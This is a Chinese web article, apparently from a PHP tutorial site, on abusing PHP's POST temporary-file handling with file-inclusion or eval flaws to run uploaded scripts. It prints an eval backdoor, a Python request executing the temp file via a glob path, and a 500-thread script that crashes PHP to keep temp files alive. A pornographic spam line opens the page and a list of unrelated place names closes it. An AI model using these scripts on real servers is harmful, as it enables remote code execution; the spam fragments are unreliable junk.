最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

利用PHP?POST臨時(shí)文件機(jī)制實(shí)現(xiàn)任意文件上傳的方法詳解

 更新時(shí)間:2022年04月21日 16:00:14   作者:zzzzls~  
這篇文章主要介紹了利用?PHP?POST?臨時(shí)文件機(jī)制實(shí)現(xiàn)任意文件上傳,同時(shí)該過(guò)程也會(huì)打斷 php 對(duì)臨時(shí)文件的處理,雖然最終仍會(huì)被刪除,但相較之前可以明顯看出臨時(shí)文件在磁盤的中存在的時(shí)間變長(zhǎng)了,需要的朋友可以參考下

原理

向 PHP 發(fā)送 Post 數(shù)據(jù)包,如果數(shù)據(jù)包中包含文件,無(wú)論 php 代碼中有沒有處理文件上傳的邏輯,php 都會(huì)將這個(gè)文件保存為一個(gè)臨時(shí)文件

  • 該文件默認(rèn)存儲(chǔ)在 /tmp 目錄中『可通過(guò) php.iniupload_tmp_dir 指定存儲(chǔ)位置』
  • 文件名為 php[6個(gè)隨機(jī)字符],例:phpG4ef0q
  • 若本次請(qǐng)求正常結(jié)束,臨時(shí)文件會(huì)被自動(dòng)刪除
  • 若非正常結(jié)束,比如崩潰,臨時(shí)文件可能會(huì)被永久保留

文件包含漏洞找不到可以利用的文件時(shí),即可利用這個(gè)方法,找到臨時(shí)文件名,然后包含之!

如何獲取臨時(shí)文件名

$_FILES

可以通過(guò) $_FILES 獲取文件信息

Array
(
    [name] => run.sh
    [full_path] => run.sh
    [type] => 
    [tmp_name] => /tmp/phpoFnbQf
    [error] => 0
    [size] => 10
)

phpinfo

phpinfo 頁(yè)面會(huì)將當(dāng)前請(qǐng)求上下文中所有變量都打印出來(lái),若我們直接向 phpinfo頁(yè)面送包含文件的 post請(qǐng)求,則即可在返回包里找到 $_FILES 變量的內(nèi)容,從而拿到臨時(shí)文件名

glob

若上述方法都無(wú)法實(shí)施,在 Linux 中,還可以通過(guò) glob 通配符 定位文件

glob 簡(jiǎn)單使用:

  • * :代替 0 個(gè)或 任意個(gè)字符
  • ? :代替 1 個(gè)字符
  • [...]:匹配其中一個(gè)字符,例 [a,b,c] 匹配字符
  • a / b / c{a, b}:匹配 a 或者 b

如何利用該文件

組合請(qǐng)求

雖然文件在請(qǐng)求結(jié)束后就自動(dòng)刪除了,但是我們可以把執(zhí)行 shell 和 上傳文件 組合在一個(gè)請(qǐng)求中,php 代碼如下:

該 php 可以直接執(zhí)行 shell, 但本例僅為展示如何利用臨時(shí)文件

# a.php
<?php
	$code = $_GET['code'];
	eval($code);
?>

Python 腳本利用

# run.sh 文件內(nèi)容:
# echo $PATH

import requests
# 上傳文件同時(shí),執(zhí)行 shell
url = "http://localhost:8080/a.php?code=echo `. /???/php??????`;"
r = requests.post(url, files={'file': open('./run.sh')})
print(r.text)
# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

延長(zhǎng)臨時(shí)文件存在時(shí)間

部分情況下,我們無(wú)法將 上傳文件 和 執(zhí)行shell 組合在一起,利用下述方法使得文件存在更多時(shí)間,從而在其他位置進(jìn)行利用!

可以通過(guò) 文件包含 讓 php 包含自身從而導(dǎo)致死循環(huán),隨后 php 守護(hù)進(jìn)程會(huì)因內(nèi)存溢出而崩潰,但是 php 自身是不會(huì)因?yàn)殄e(cuò)誤直接退出的,它會(huì)清空自己的內(nèi)存堆棧,以便從錯(cuò)誤中恢復(fù),這就保證了 web 服務(wù)的正常運(yùn)轉(zhuǎn)。

同時(shí)該過(guò)程也會(huì)打斷 php 對(duì)臨時(shí)文件的處理,雖然最終仍會(huì)被刪除,但相較之前可以明顯看出臨時(shí)文件在磁盤的中存在的時(shí)間變長(zhǎng)了!

基于此,我們便可以編寫并發(fā)腳本,不斷發(fā)起 post 文件的請(qǐng)求

import requests
from threading import Thread
def test():
    url = "http://localhost:8080/include.php?file=include.php"
    r = requests.post(url, files={'file': open('./run.sh')})
    print(r.text)
lst = []
for _ in range(500):
    t = Thread(target=test)
    lst.append(t)
    t.start()
for item in lst:
    item.join()

可以看到,當(dāng)我們?cè)谡?qǐng)求時(shí),磁盤中總是存在尚未被刪除的臨時(shí)文件。直至請(qǐng)求停止,文件被全部刪除

于此同時(shí),便可以在其他地方使用上述 glob 路徑通配符泛式加載臨時(shí)文件

import requests

url = "http://localhost:8080/a.php?code=echo `. /???/php??????`;"
r = requests.get(url)
print(r.text)
# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

參考

無(wú)字母數(shù)字webshell之提高篇

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

PHP臨時(shí)文件機(jī)制與利用的思考

https://www.anquanke.com/post/id/183046

PHP文件包含漏洞(利用phpinfo)復(fù)現(xiàn)

https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md

glob(7) — Linux manual page

https://man7.org/linux/man-pages/man7/glob.7.html

操作文件和目錄

http://billie66.github.io/TLCL/book/chap05.html

到此這篇關(guān)于利用 PHP POST 臨時(shí)文件機(jī)制實(shí)現(xiàn)任意文件上傳的文章就介紹到這了,更多相關(guān)php post任意文件上傳內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • php插件Xajax使用方法詳解

    php插件Xajax使用方法詳解

    這篇文章主要為大家詳細(xì)介紹了php插件Xajax的使用方法,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2017-08-08
  • 使用YUI+Ant 實(shí)現(xiàn)JS CSS壓縮

    使用YUI+Ant 實(shí)現(xiàn)JS CSS壓縮

    YUI庫(kù)是一組工具和控件,它們用JavaScript寫成, 為的是用DOM 腳本,DHTML和AJAX等技術(shù)創(chuàng)建豐富的網(wǎng)頁(yè)交互式應(yīng)用程序。YUI 基于BSD協(xié)議,對(duì)所有的使用方式都是免費(fèi)的。YUI 項(xiàng)目包括YUI 庫(kù)和兩個(gè)創(chuàng)建時(shí)工具:YUI Compressor (壓縮)和YUI Doc(JavaScripts代碼的文檔引擎)
    2014-09-09
  • Yii2中事務(wù)的使用實(shí)例代碼詳解

    Yii2中事務(wù)的使用實(shí)例代碼詳解

    這篇文章主要介紹了Yii2中事務(wù)的使用實(shí)例代碼詳解的相關(guān)資料,非常不錯(cuò),具有參考借鑒價(jià)值,需要的朋友可以參考下
    2016-09-09
  • php使用ICQ網(wǎng)關(guān)發(fā)送手機(jī)短信

    php使用ICQ網(wǎng)關(guān)發(fā)送手機(jī)短信

    php發(fā)送手機(jī)短信實(shí)例代碼。
    2013-10-10
  • 詳解PHP合并多個(gè)PDF文件的方法

    詳解PHP合并多個(gè)PDF文件的方法

    這篇文章主要介紹了PHP合并多個(gè)PDF文件的示例代碼,本文通過(guò)示例代碼給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2022-07-07
  • php獲取目錄下所有文件及目錄(多種方法)(推薦)

    php獲取目錄下所有文件及目錄(多種方法)(推薦)

    這篇文章主要介紹了php獲取目錄下所有文件及目錄多種方法,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2019-05-05
  • laravel框架創(chuàng)建授權(quán)策略實(shí)例分析

    laravel框架創(chuàng)建授權(quán)策略實(shí)例分析

    這篇文章主要介紹了laravel框架創(chuàng)建授權(quán)策略,結(jié)合實(shí)例形式分析了laravel框架創(chuàng)建授權(quán)策略的相關(guān)步驟、實(shí)現(xiàn)方法與操作注意事項(xiàng),需要的朋友可以參考下
    2019-11-11
  • PHP FATAL ERROR: CALL TO UNDEFINED FUNCTION BCMUL()解決辦法

    PHP FATAL ERROR: CALL TO UNDEFINED FUNCTION BCMUL()解決辦法

    這篇文章主要介紹了PHP FATAL ERROR: CALL TO UNDEFINED FUNCTION BCMUL()解決辦法,需要的朋友可以參考下
    2014-05-05
  • php 實(shí)現(xiàn)簡(jiǎn)單的登錄功能示例【基于thinkPHP框架】

    php 實(shí)現(xiàn)簡(jiǎn)單的登錄功能示例【基于thinkPHP框架】

    這篇文章主要介紹了php 實(shí)現(xiàn)簡(jiǎn)單的登錄功能,結(jié)合實(shí)例形式分析了基于thinkPHP框架登錄功能視圖與控制器簡(jiǎn)單實(shí)現(xiàn)技巧,需要的朋友可以參考下
    2019-12-12
  • 使用PHP similar text計(jì)算兩個(gè)字符串相似度

    使用PHP similar text計(jì)算兩個(gè)字符串相似度

    在網(wǎng)站開發(fā)中,我們經(jīng)常使用php similar text 計(jì)算兩個(gè)字符串相似度。本文涉及到similar text函數(shù)語(yǔ)法、用法詳解,感興趣的朋友一起學(xué)習(xí)吧
    2015-11-11

最新評(píng)論

通辽市| 区。| 西林县| 乌拉特中旗| 平山县| 鄯善县| 讷河市| 塘沽区| 永兴县| 方正县| 重庆市| 固原市| 浮梁县| 弥渡县| 海盐县| 华蓥市| 乡宁县| 章丘市| 林芝县| 永清县| 南郑县| 伊宁市| 湘阴县| 武定县| 米泉市| 忻州市| 黄山市| 鲁山县| 丹江口市| 池州市| 海丰县| 开原市| 鱼台县| 托克逊县| 宜阳县| 金川县| 廉江市| 始兴县| 焦作市| 古田县| 鹤岗市|